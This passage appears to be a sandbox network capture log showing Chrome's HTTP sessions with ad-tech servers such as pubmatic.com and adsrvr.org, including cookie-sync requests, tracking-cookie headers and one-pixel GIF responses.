2024-01-10 23:27:26 UTC	3545	OUT	GET /AdServer/Pug?vcode&piggybackCookie={viewer_token} HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_32=11175-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&22713-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&22715-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&23519-AAAGXafxLeElYgMctaPHAAAAAAA; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; PugT=1704929245
2024-01-10 23:27:26 UTC	327	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:26 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
570	192.168.2.4	50397	8.28.7.83	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:26 UTC	3606	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0ODkmdGw9NDMyMDA=&piggybackCookie=OPU94c5f6bfc10e4266866ca02b6e163de0 HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_32=11175-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&22713-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&22715-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&23519-AAAGXafxLeElYgMctaPHAAAAAAA; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; PugT=1704929245
2024-01-10 23:27:26 UTC	695	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 12:04:08 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; domain=pubmatic.com; SameSite=None; secure; expires=Wed, 24-Jan-2024 12:04:08 GMT; path=/ Set-Cookie: PugT=1704888248; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 12:04:08 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:26 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
571	192.168.2.4	50393	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:26 UTC	3637	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjkzNiZ0bD00MzIwMA==&piggybackCookie=uid:A342B32A0BAA4852AA53FE42CB7195F6&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_32=11175-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&22713-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&22715-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&23519-AAAGXafxLeElYgMctaPHAAAAAAA; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; PugT=1704929245
2024-01-10 23:27:26 UTC	318	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:26 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1 Connection: close P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:26 UTC	1	IN	Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
572	192.168.2.4	50395	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:26 UTC	3509	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NzUmdGw9NDMyMDA=&gdpr=0&gdpr_consent=&piggybackCookie=7455955347164126958 HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_32=11175-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&22713-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&22715-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&23519-AAAGXafxLeElYgMctaPHAAAAAAA; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; PugT=1704929244
2024-01-10 23:27:26 UTC	646	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:26 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:26 GMT; path=/ Set-Cookie: PugT=1704929246; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:26 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:26 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
573	192.168.2.4	50394	15.197.193.217	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:26 UTC	973	OUT	GET /track/cmf/generic?ttd_pid=adconductor&ttd_tpi=1&rndcb=720413378 HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=bd6a219c-2538-477b-90ee-6d20c7860c4b; TDCPM=CAESGQoKcmlnaHRtZWRpYRILCMi1yYC3j8k8EAUSFwoIcHVibWF0aWMSCwj6v-ryto_JPBAFEhUKBmNhc2FsZRILCOKvlJC3j8k8EAUSFAoFdGFwYWQSCwiw1MK9t4_JPBAFGAEgASgCMgsI1MrF6s2PyTwQBTgBWgV0YXBhZGAC
2024-01-10 23:27:27 UTC	638	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:27 GMT Content-Length: 181 Connection: close server: Kestrel location: https://sync.1rx.io/usersync/tradedesk/bd6a219c-2538-477b-90ee-6d20c7860c4b set-cookie: TDID=bd6a219c-2538-477b-90ee-6d20c7860c4b; expires=Fri, 10 Jan 2025 23:27:27 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESGQoKcmlnaHRtZWRpYRILCMi1yYC3j8k8EAUSFwoIcHVibWF0aWMSCwj6v-ryto_JPBAFEhUKBmNhc2FsZRILCOKvlJC3j8k8EAUSFAoFdGFwYWQSCwiw1MK9t4_JPBAFGAEgASgCMgsIxKzpgs6PyTwQBTgBWgthZGNvbmR1Y3RvcmAC; expires=Fri, 10 Jan 2025 23:27:27 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-01-10 23:27:27 UTC	181	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 79 6e 63 2e 31 72 78 2e 69 6f 2f 75 73 65 72 73 79 6e 63 2f 74 72 61 64 65 64 65 73 6b 2f 62 64 36 61 32 31 39 63 2d 32 35 33 38 2d 34 37 37 62 2d 39 30 65 65 2d 36 64 32 30 63 37 38 36 30 63 34 62 22 3e 68 74 74 70 73 3a 2f 2f 73 79 6e 63 2e 31 72 78 2e 69 6f 2f 75 73 65 72 73 79 6e 63 2f 74 72 61 64 65 64 65 73 6b 2f 62 64 36 61 32 31 39 63 2d 32 35 33 38 2d 34 37 37 62 2d 39 30 65 65 2d 36 64 32 30 63 37 38 36 30 63 34 62 3c 2f 61 3e Data Ascii: Redirecting to: <a href="https://sync.1rx.io/usersync/tradedesk/bd6a219c-2538-477b-90ee-6d20c7860c4b">https://sync.1rx.io/usersync/tradedesk/bd6a219c-2538-477b-90ee-6d20c7860c4b</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
574	192.168.2.4	50398	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:26 UTC	3596	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTQ2MSZ0bD0xMDA4MA==&piggybackCookie=AAAHeHO4ZcfjXANgwiqRAAAAAAA&expiration=1705015646&nuid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&is_secure=true&gdpr_consent=&gdpr=0 HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; 